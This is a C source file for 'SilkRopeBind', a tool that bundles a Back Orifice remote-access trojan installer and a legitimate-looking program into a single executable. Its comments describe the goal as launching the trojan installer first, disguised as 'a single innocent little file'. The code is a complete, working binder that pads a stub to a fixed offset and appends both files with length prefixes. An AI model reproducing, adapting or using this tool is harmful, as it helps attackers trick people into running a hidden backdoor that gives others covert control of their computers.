/////////////////////////////////////////////////////////////////
// SilkRopeBind.c
//  A program to package your BO installer and a seperate program
//  into a single file.  
//
// SilkRope is:
//  A Back Orifice goodie -- used to launch a copy of the Back
//  Orifice installer before running a "real" program.  A copy
//  of the installer is used so that the packaged installer
//  is not deleted upon execution.
//  This is similar to, but more elegant than, the SaranWrap
//  goodie.  While SaranWrap uses multiple files, SilkRope
//  bundles everything into a single innocent little file.
/////////////////////////////////////////////////////////////////

#include <windows.h>
#include <stdio.h>
#include <time.h>


/////////////////////////////////////////////////////////////////
// Global Defines
//#define FIRST_OFFSET 110000
#define FIRST_OFFSET 42000
    // The offset into this executable where the first file is located
    // Each file starts with an unsigned long that specifies the file's
	// size.  Then comes the contents of the file.  After that is EOF or
    // another ulong for the next file.

    // There are two files bundled in this executable.  First (at offset
    // FIRST_OFFSET), is the BO installer.  Second, is the "real"
    // application.

/////////////////////////////////////////////////////////////////
// bind -- bind the two files into an executable
// temporary directory.
int bind(char *silkRope, char *BOInstaller, char *real)
{
	FILE *input;
	FILE *output;
	unsigned long len;
	char *buffer;
	int size;
	
	//Verify parameters
	if ((silkRope==NULL) || (*silkRope==0) || (BOInstaller==NULL) || (*BOInstaller==0)
		|| (real==NULL) || (*real==0))
	{
		printf("Error while binding with Silk Rope: One or more file names were not specified\n");
		return 0;
	}
	//Open the output file + position (add/truncate data)
	output = fopen(silkRope, "ab");
	if (!output)
	{
		printf("Error opening SilkRope stub file %s", silkRope);
		return 0;
	}
	fseek(output, 0, SEEK_END);
	len = ftell(output);
	if (len < FIRST_OFFSET)
	{
		//Pad out the length....
		len = FIRST_OFFSET - len;
		buffer = (char *)malloc(1024);
		memset(buffer, 0, 1024);
		while (len > 0)
		{
			if (len > 1024) size = 1024; else size = len;
			fwrite(buffer, 1, size, output);
			len -= size;
		}
		free(buffer);
	}else if (len > FIRST_OFFSET)
	{
		//Move to the beginning of embedded data
		fseek(output, FIRST_OFFSET, SEEK_SET);
		//Truncate the remainder...?
	}

	buffer = (char *)malloc(4096);

	//Open the first input file
	input = fopen(BOInstaller, "rb");
	if (!input)
	{
		printf("Error opening BO Installer file %s", BOInstaller);
		return 0;
	}
	//Get len
	fseek(input, 0, SEEK_END);
	len = ftell(input);
	fwrite(&len, 1, sizeof(len), output);
	fseek(input, 0, SEEK_SET);
	size = 1;
	while (len && size && !feof(input))
	{
		if (len > 4096) size = 4096; else size = len;
		size = fread(buffer, 1, size, input);
		fwrite(buffer, 1, size, output);
		len -= size;
	}
	fclose(input);
	
	//Open the second input file
	input = fopen(real, "rb");
	if (!input)
	{
		printf("Error opening real program file %s", real);
		return 0;
	}
	//Get len
	fseek(input, 0, SEEK_END);
	len = ftell(input);
	fwrite(&len, 1, sizeof(len), output);
	fseek(input, 0, SEEK_SET);
	size = 1;
	while (len && size && !feof(input))
	{
		if (len > 4096) size = 4096; else size = len;
		size = fread(buffer, 1, size, input);
		fwrite(buffer, 1, size, output);
		len -= size;
	}
	fclose(input);
	free(buffer);
	fclose(output);
	return 1;
}

/////////////////////////////////////////////////////////////////
// fixUp -- Truncates at "\r" or "\n" (which sometimes fgets leaves
// floating around)
void fixUp(char *s)
{
	if (!s)
		return;
	while (*s)
	{
		if ((*s=='\r')||(*s=='\n'))
			*s = 0;
		else
			*s++;
	}
}

/////////////////////////////////////////////////////////////////
// Main
int main( int argc, char *argv[ ])
{
	char silkRope[255];
	char BOInstaller[255];
	char realProgram[255];

	printf("SilkRopeBind -- Binds the BO Installer and a real program into the SilkRope program stub\n");
	printf(" by Brian Enigma <enigma@netninja.com>\n\n");
	printf("File name of the SilkRope program stub to bind the executables into?\n");
	fgets(silkRope, 254, stdin); fixUp(silkRope);
	printf("File name of the Back Orifice installer?\n");
	fgets(BOInstaller, 254, stdin); fixUp(BOInstaller);
	printf("File name of the \"real\" program to be run?\n");
	fgets(realProgram, 254, stdin); fixUp(realProgram);
	bind(silkRope, BOInstaller, realProgram);
	return 0;
}
